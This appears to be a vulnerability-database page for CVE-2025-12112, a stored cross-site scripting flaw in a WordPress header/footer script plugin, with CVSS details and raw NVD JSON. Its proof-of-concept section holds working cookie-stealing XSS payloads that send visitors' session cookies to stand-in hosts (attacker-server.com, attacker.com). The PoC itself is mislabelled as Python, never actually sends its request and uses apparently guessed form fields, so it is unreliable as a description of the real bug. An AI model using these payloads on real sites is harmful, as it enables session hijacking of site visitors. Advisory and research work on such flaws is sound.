Security Vulnerability Report
中文
CVE-2025-12112 CVSS 6.4 MEDIUM

CVE-2025-12112

Published: 2025-11-08 04:15:44
Last Modified: 2026-04-15 00:35:42

Description

The Insert Headers and Footers Code – HT Script plugin for WordPress is vulnerable to Stored Cross-Site Scripting via adding scripts in all versions up to, and including, 1.1.6 due to insufficient capability checks. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Insert Headers and Footers Code – HT Script <= 1.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-12112 PoC - HT Script Plugin Stored XSS * Requirements: WordPress account with Author role or higher * Target: Insert Headers and Footers Code plugin <= 1.1.6 */ // Step 1: Authenticate with WordPress using Author credentials $target_url = "http://target-wordpress-site.com"; $username = "attacker_author"; $password = "author_password"; // Step 2: Access plugin settings page and inject malicious script $exploit_payload = '<script>fetch("https://attacker-server.com/steal?cookie="+document.cookie)</script>'; // The payload can be injected via: // - WordPress Admin > Settings > Insert Headers and Footers // - Direct POST request to wp-admin/options-general.php?page=ht-script // Example POST data structure: $post_data = array( 'ht_script_header' => $exploit_payload, 'ht_script_footer' => '', 'ht_script_submit' => 'Save Changes' ); // Step 3: When any user visits the site, the XSS payload executes automatically // The injected script runs in the context of the victim's browser session /** * Example JavaScript payload for credential theft: * <script> * var cookies = document.cookie; * var data = {cookies: cookies, url: window.location.href}; * fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(data))); * </script> */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12112", "sourceIdentifier": "[email protected]", "published": "2025-11-08T04:15:44.303", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Insert Headers and Footers Code – HT Script plugin for WordPress is vulnerable to Stored Cross-Site Scripting via adding scripts in all versions up to, and including, 1.1.6 due to insufficient capability checks. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3387037%40insert-headers-and-footers-script&new=3387037%40insert-headers-and-footers-script&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f97ced40-c349-43b4-963f-2a49db4bbd4a?source=cve", "source": "[email protected]"}]}}